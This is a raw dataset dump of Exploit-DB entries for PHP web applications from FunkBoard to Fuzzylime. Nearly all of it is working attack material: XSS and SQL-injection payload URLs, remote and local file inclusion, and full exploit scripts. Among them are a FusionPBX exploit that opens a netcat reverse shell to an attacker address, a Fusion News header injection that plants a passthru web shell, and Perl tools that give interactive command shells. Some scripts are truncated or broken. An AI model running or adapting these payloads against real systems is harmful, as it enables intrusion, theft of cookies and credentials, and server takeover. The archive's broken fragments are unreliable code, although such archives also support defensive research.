deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26121
Description: FunkBoard 0.66 - 'profile.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-08-08
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14507/info
    
FunkBoard is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/funkboard/profile.php?fbusername="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/profile.php?fbpassword="><script>alert(document.cookie)</script>
Exploit-DB #26122
Description: FunkBoard 0.66 - 'register.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-08-08
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14507/info
     
FunkBoard is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/funkboard/register.php?fbusername="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/register.php?fmail="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/register.php?www="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/register.php?icq="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/register.php?yim="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/register.php?location="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/register.php?sex="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/register.php?interebbies="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/register.php?sig=&lt;/textarea&gt;<script>alert(document.cookie)</script>
http://www.example.com/funkboard/register.php?aim="><script>alert(document.cookie)</script>
Exploit-DB #26120
Description: FunkBoard 0.66 - 'reply.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-08-08
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14507/info
   
FunkBoard is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/funkboard/reply.php?forumid=1&threadid=1&fbusername="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/reply.php?forumid=1&threadid=1&fbpassword="><script>alert(document.cookie)</script>
Exploit-DB #41258
Description: Funny Image and Video Script 2.0.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Flippy ChillOut – Funny Image and Video Script v2.0.0 - SQL Injection
# Google Dork: N/A
# Date: 06.02.2017
# Vendor Homepage: https://www.flippyscripts.com/
# Software Buy: https://www.flippyscripts.com/flippy-chillout-funny-image-and-video-script/
# Demo: http://chillout.flippydemos.com/
# Version: 2.0.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/post.php?id=[SQL]
# Etc...
# -9999+/*!50000union*/+select+concat_ws(0x3a,adminuser,0x3a,adminpassword),2,3,4,5,6,7,8,9,10,11+from+admin--
# # # # #
Exploit-DB #31783
Description: Fusebox 5.5.1 - 'fusebox5.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-05-12
Author: MajnOoNxHaCkEr

Exploit:
source: https://www.securityfocus.com/bid/29163/info

Fusebox is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Fusebox 5.5.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[PaTh]/fusebox5.php?FUSEBOX_APPLICATION_PATH=[EV!L]
Exploit-DB #34396
Description: FuseTalk 3.2/4.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-03
Author: Juan Manuel Garcia

Exploit:
source: https://www.securityfocus.com/bid/42157/info

FuseTalk is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

FuseTalk 4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/usersearchresults.cfm?keyword=ttm--"%20><script>alert("TheTestManager.com-
Month of Full disclosure")</script>&FT_ACTION=SearchUsers  - (IE8
tested)

or

http://www.example.com/categories.aspx?catid=76&FTVAR_SORT=date&FTVAR_SORTORDER=0017ttm-"
style=x:expression(alert("TheTestManager")) ttm=" (IE7 test)
Exploit-DB #36485
Description: FuseTalk Forums 3.2 - 'windowed' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-02
Author: sonyy

Exploit:
source: https://www.securityfocus.com/bid/51227/info

FuseTalk Forums is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker could leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could allow the attacker to steal cookie-based authentication credentials and launch other attacks.

FuseTalk Forums 3.2 is vulnerable; other versions may also be affected. 

http://www.example.com/login.cfm?windowed=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
Exploit-DB #23039
Description: Fusion News 3.3 - Unauthorized Account Addition
Type: webapps
Platform: php
Date: 2003-08-18
Author: DarkKnight

Exploit:
source: https://www.securityfocus.com/bid/8441/info

Fusion News is prone to an access validation error allowing a user to add arbitrary user/administrator accounts through manipulating URI parameters.

Successful exploitation of this error may allow a user to compromise a vulnerable system by gaining administrative privileges.

The problem is reported to be present in Fusion News 3.3, however older versions may be vulnerable as well. 

http://www.example.com/FusionNews/?
id=signup&username=DarkKnight&email=EMAIL@EMAIL.COM+&[CREDENTIAL_REDACTED]=
&le=3
Exploit-DB #25819
Description: FusionBB 0.x - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2005-06-13
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/13939/info

FusionBB is affected by multiple vulnerabilities. These issues arise due to a failure of the application to properly sanitize user-supplied input.

The following specific vulnerabilities were identified:

The application is affected by a local file include vulnerability. The attacker may leverage this issue to execute arbitrary server-side script code that resides on an affected computer with the privileges of the Web server process. This may potentially facilitate unauthorized access.

FusionBB is prone to multiple SQL injection vulnerabilities as well. These vulnerabilities could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

Cookie: bb_session_id=' or user_id = '1; bb_uid=1;
Exploit-DB #46985
Description: FusionPBX 4.4.3 - Remote Command Execution
Type: webapps
Platform: php
Date: 2019-06-12
Author: Dustin Cobb

Exploit:
# Exploit Title: FusionPBX <= 4.4.3 Command Injection RCE via XSS 
# Date: 06-11-2019
# Exploit Author: Dustin Cobb
# Vendor Homepage: https://www.fusionpbx.com
# Software Link: https://https://github.com/fusionpbx/fusionpbx
# Version: <= 4.4.3
# Tested on: Debian 8.11
# CVE : CVE-2019-11408 (XSS) AND CVE-2019-11409 (Command Injection RCE)

#!/usr/bin/python
import socket, sys
from random import randint
from hashlib import md5

# Exploitation steps:
#
# 1. First, encode an XSS payload that will be injected into the
#    “Caller ID Number” field, or “User” component of the SIP 
#    “From” URI.
# 2. Connect to external SIP profile port and send a SIP INVITE 
#    packet with XSS payload injected into the From Field.
# 3. XSS payload will fire operator panel screen (CVE-2019-11408), which 
#    is designed to be monitored constantly by a call center operator.
# 4. Once XSS code executes, a call is made to the exec.php script 
#    (CVE-2019-11409) with a reverse shell payload that connects back to 
#    a netcat listener on the attacker system.  


# edit these variables to set up attack
victim_addr="10.10.10.10"
victim_host="victim-pbx1.example.com"
victim_num="[PII_REDACTED]"

attacker_ip="10.10.10.20"
attacker_port=4444

def encode(val):
    ret=""

    for c in val:
        ret+="\\x%02x" % ord(c)

    return ret

callid=md5(str(randint(0,99999999))).hexdigest()

cmd="nc -e /bin/bash %s %d" % (attacker_ip, attacker_port)
payload="q=new XMLHttpRequest();q.open('GET','exec.php?cmd=system %s',true);q.send();" % cmd

xss=";tag=%s
To: 
Call-ID: %s
CSeq: 1 INVITE
Contact: 
Max-Forwards: 70
User-Agent: Exploit POC
Content-Type: application/sdp
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE, MESSAGE
Content-Length: 209

v=0
o=root[PII_REDACTED][PII_REDACTED] IN IP4 127.0.0.1
s=Media Gateway
c=IN IP4 127.0.0.1
t=0 0
m=audio 4446 RTP/AVP 0 101
a=rtpmap:0 PCMU/8000
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-16
a=ptime:2
a=sendrecv""" % (victim_num, victim_host, xss, callid, victim_num, victim_host, callid)

payload=payload.replace("\n","\r\n")

s=socket.socket()

s.connect((victim_addr,5080))

print payload
print

s.send(payload)
data=s.recv(8192)

print data
Exploit-DB #50505
Description: FusionPBX 4.5.29 - Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: php
Date: 2021-11-08
Author: Luska

Exploit:
# Exploit Title: FusionPBX 4.5.29 - Remote Code Execution (RCE) (Authenticated)
# Date: 11/08/2021
# Exploit Author: Luska
# Vendor Homepage: https://www.fusionpbx.com/
# Software Link: https://github.com/fusionpbx/fusionpbx
# Version: < 4.5.30
# Tested on: Debian
# CVE : CVE-2021-43405

#!/usr/bin/python3
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import argparse


cookies = {'PHPSESSID': '31337'}
proxy = {'http': 'http://127.0.0.1:8080'}

def login(url, username, password):
    data = {
        'username': username,
        'password': password
    }
    r = requests.post(url + '/core/user_settings/user_dashboard.php', data=data, cookies=cookies)
    return r.status_code

def exploit_request(url, cmd):
    print('[+] Sending Exploit Request')
    mp_encoder = MultipartEncoder(fields={ 'fax_subject': '1337', 'fax_extension': f';{cmd} #', 'action': 'send', 'submit': 'send' })
    r = requests.post(url + '/app/fax/fax_send.php', cookies=cookies, headers={'Content-Type': mp_encoder.content_type}, data=mp_encoder, proxies=proxy)
    return r.status_code

def exploit(url, username, password, cmd):
    if login(url,username,password) == 200:
        print('[+] Login Successful')
        exploit_request(url, cmd)
        print('[+] Exploit Sucessful')
    else:
        print('[-] Login Failed')

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='[*] FusionPBX < 4.5.30 Remote Code Execution | CVE-2021-43405')

    parser.add_argument('-t', metavar='<target/host URL>', help='Target/host URL, example: http://127.0.0.1', required=True)
    parser.add_argument('-u', metavar='<user>', help='User to login', required=True)
    parser.add_argument('-p', metavar='<password>', help='User\'s password', required=True)
    parser.add_argument('-c', metavar='<cmd>', help='Command to be executed', required=True)
    
    args = parser.parse_args()

    target = args.t
    user = args.u
    password = args.p
    cmd = args.c

    exploit(target, user, password, cmd)
Exploit-DB #24341
Description: Fusionphp Fusion News 3.3/3.6 - Administrator Command Execution
Type: webapps
Platform: php
Date: 2004-07-30
Author: Joseph Moniz

Exploit:
source: https://www.securityfocus.com/bid/10836/info

It is reported that Fusion News is affected by an administrator command execution vulnerability. This issue is due to a failure of the application to properly validate access to administrative commands.

This issue permits a remote attacker to create a malicious URI link or embed a malicious URI between bbCode image tags, which includes hostile HTML and script code. If an unsuspecting forum administrator activates this URI, the attacker-supplied command would be carried out with the administrator's privileges. This occurs in the security context of the affected web site and would cause various administrator actions to be taken.

Version 3.6.1 and prior are reported to be affected by this vulnerability.

http://www.example.com/news/index.php?id=signup&username=example&email=user@example.com&[CREDENTIAL_REDACTED]=&le=3&timeoffset=1
Exploit-DB #25681
Description: Fusionphp Fusion News 3.3/3.6 - X-Forworded-For PHP Script Code Injection
Type: webapps
Platform: php
Date: 2005-05-24
Author: Network security team

Exploit:
source: https://www.securityfocus.com/bid/13661/info

FusionPHP Fusion News is prone to a remote PHP code injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. This may facilitate unauthorized access. 

<?
$copyr = "
!!! PRIVATE !!! PRIVATE !!! PRIVATE !!! PRIVATE !!! PRIVATE !!!

oooo...oooo.oooooooo8.ooooooooooo
.8888o..88.888........88..888..88
.88.888o88..888oooooo.....888
.88...8888.........888....888
o88o....88.o88oooo888....o888o
********************************
**** Network security team *****
********* nst.void.ru **********
********************************
* Title: Fusion News v3.6.1
* Date: 15.05.2005
********************************

Remote shell exploit.

Google:
allintitle:f u s i o n : n e w s : m a n a g e m e n t : s y s t e m

Script owner: www.fusionphp.net

*** Exploit contains anti-script kidis trick. ***
Count: 4

Greetz to: GHC, RST, LWB, AntiChat, VOID, Web-Hack, Securitylab, Security.nnov, Securityfocus

Visit all our friends:
Rus:
ghc.ru
rst.void.ru
lwb57.org
antichat.ru
void.ru
web-hack.ru
securitylab.ru
security.nnov.ru
Eng:
securityfocus.com

Greentz to Ch0k37 from gh0sts, which wants to purchase this exploit but he was too greedy.

!!! PRIVATE !!! PRIVATE !!! PRIVATE !!! PRIVATE !!! PRIVATE !!!

*** Public: 17.05.2005 ***
";

# CONFIG                     (example: http://www.site.com/news/)
$host   = "www.site.com";       # address - example: www.site.com
$folder = "folder/to/fusion";   # folder - example: news
# END OF CONFIG


$fp = fsockopen($host, 80);
$data = "name=nst&email=&fullnews=nst&chars=297&com_Submit=Submit&pass=";
$out = "POST /$folder/comments.php?mid=post&id=/../../templates/headline_temp HTTP/1.1\r\n";
$out.= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, */*\r\n";
$out.= "Referer: http://$host/\r\n";
$out.= "Accept-Language: ru\r\n";
$out.= "X-FORWORDEDFOR: <?@include($_GET[nst_inc]);@passthru($_GET[nst_cmd]);?>\r\n";
$out.= "Content-Type: application/x-www-form-urlencoded\r\n";
$out.= "Accept-Encoding: gzip, deflate\r\n";
$out.= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\r\n";
$out.= "Host: $hots\r\n";
$out.= "Content-Length: 64\r\n";
$out.= "Connection: Keep-Alive\r\n";
$out.= "Cache-Control: no-cache\r\n";
$out.= "\r\n";
$out.= "name=test&email=&fullnews=test&chars=297&com_Submit=Submit&pass=";
fputs($fp,$out);
while(!feof($fp)){
fgets($fp, 128);
}
print "<pre>";
print $copyr;
print "\r\n\r\n <b>
Result:

http://$host/$folder/templates/headline_temp.php?nst_inc=http://YOUR_FILE \r\n";
print "http://$host/$folder/templates/headline_temp.php?nst_cmd=ls -la";
?>
Exploit-DB #24046
Description: Fusionphp Fusion News 3.6.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-04-23
Author: DarkBicho

Exploit:
source: https://www.securityfocus.com/bid/10203/info

An attacker may be capable of executing arbitrary script code in a browser of a target user and within the context of a visited web site. This may potentially lead to theft of cookie based authentication credentials, other attacks are also possible.

http://www.example.com/fullnews.php?id=<script>alert(document.cookie);</script>
Exploit-DB #28394
Description: Fusionphp Fusion News 3.7 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-16
Author: O.U.T.L.A.W

Exploit:
source: https://www.securityfocus.com/bid/19546/info

Fusion News is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to access the underlying system.

#!/usr/bin/perl

	###########################################################################################

	#			Aria-Security.net Advisory                                   															     #

	#			Discovered  by: OUTLAW                                    														               #

	#			< www.Aria-security.net >                               														              #

	#		Gr33t to: A.u.r.a  & HessamX & Cl0wn & DrtRp													                       	  #

	#		  Special Thanx To All Aria-Security Users      			  													 #

	###########################################################################################


use LWP::UserAgent;

print "\n === Fusion News v3.7 Remote File Inclusion\n";

print "\n === Discovered by OutLaw .\n";

print "\n  === www.Aria-Security.Net\n";


$bPath = $ARGV[0];

$cmdo = $ARGV[1];

$bcmd = $ARGV[2];


if($bPath!~/http:\/\// || $cmdo!~/http:\/\// || !$bcmd){usage()}




while()

 

       print "[Shell] \$";

while(<STDIN>)

       {

               $cmd=$_;

               chomp($cmd);


$xpl = LWP::UserAgent->new() or die;

$req = HTTP::Request->new(GET =>$bpath.&#039;index.php?fpath=&#039;.$cmdo.&#039;?&&#039;.$bcmd.&#039;=&#039;.$cmd)or die "
\n Could not connect !\n";

$res = $xpl->request($req);

$return = $res->content;

$return =~ tr/[\n]/[ê;

if (!$cmd) {print "\nPlease type a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/)

       {print "\n Could Not Connect to cmd Host\n";exit}

elsif ($return =~/^<b>Fatal.error/) {print "\n Invalid Command\n"}

if($return =~ /(.*)/)

 

       $freturn = $1;

       $freturn=~ tr/[ê[\n]/;

       print "\r\n$freturn\n\r";

       last;

 


else {print "[Shell] \$";}}}last;


sub usage()

 {

print " Usage : fusion.pl [host] [cmd shell location] [cmd shell variable]\n";

print " Example : fusion.pl http://fusionnews.com http://www.shell.com/cmd.txt cmd\n";

 exit();

 }
Exploit-DB #32404
Description: Fuzzylime (cms) 3.0 - 'usercheck.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-22
Author: Fabian Fingerle

Exploit:
source: https://www.securityfocus.com/bid/31306/info

fuzzylime (cms) is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected site. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to fuzzylime (cms) 3.03 are vulnerable. 

<form method="post" action="http://www.example.com/fuzzylime/admin/usercheck.php"> <input type="hidden" name="log" value="in"> <input type="text" name="user"value='"><script>alert(1)</script>'> <input type=submit></form>
Exploit-DB #32016
Description: Fuzzylime (cms) 3.01 - 'blog.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-07-07
Author: Cod3rZ

Exploit:
source: https://www.securityfocus.com/bid/30121/info

'fuzzylime (cms)' is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary local script code. This can allow the attacker to obtain sensitive information that may aid in further attacks.

This issue affects fuzzylime (cms) 3.01a; other versions may also be affected. 

#!/usr/bin/perl
# Fuzzylime CMS 3.01 LFI / RCE
# author  : Cod3rZ
# website : http://cod3rz.helloweb.eu
#
# http://[site]/blog.php?file=../[file]\0
# LFI TO RCE
use LWP::UserAgent;
 system("cls");
#system("clear");
 print " -------------------------------------------------\n";
 print " Fuzzylime CMS 3.01 LFI / RCE                     \n";
 print " Powered by Cod3rZ                                \n";
 print " http://cod3rz.helloweb.eu                        \n";
 print " -------------------------------------------------\n";
 print " Insert Site (http://site.com/):                  \n ";
 chomp($site = <STDIN>);
 print " -------------------------------------------------\n";
 print " Insert Logs path                                 \n ";
 chomp($path = <STDIN>);
 print " -------------------------------------------------\n";
 
 #Infect Logs
 $lwp = LWP::UserAgent->new;
 $siten = $site.'/blog.php?file=';
 $ua = $lwp->get($site.'coderz <?php passthru(stripslashes($_GET[cmd])); ?> /coderz');
 #Control
 $ua = $lwp->get($site.$path.'%00');
 if($ua->content =~ m/cod3rz/) {
 print " Ok ".$site." is infected                         \n";
 print " -------------------------------------------------\n";
 print " ".$siten.$path."&cmd=[command]\\0                 \n";
 print " --
Exploit-DB #30201
Description: Fuzzylime 1.0 - 'Low.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-06-18
Author: RMx

Exploit:
source: https://www.securityfocus.com/bid/24522/info

Fuzzylime is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

Fuzzylime 1.01b and prior versions are vulnerable to this issue. 

http://www.example.com/path/low.php?action=log&fromforum=[PII_REDACTED]email@address.com&fromtopic=[PII_REDACTED]email@address.com&fromaction=>"><ScRiPt%20%0a%0d>alert(21 407654)%3B</ScRiPt>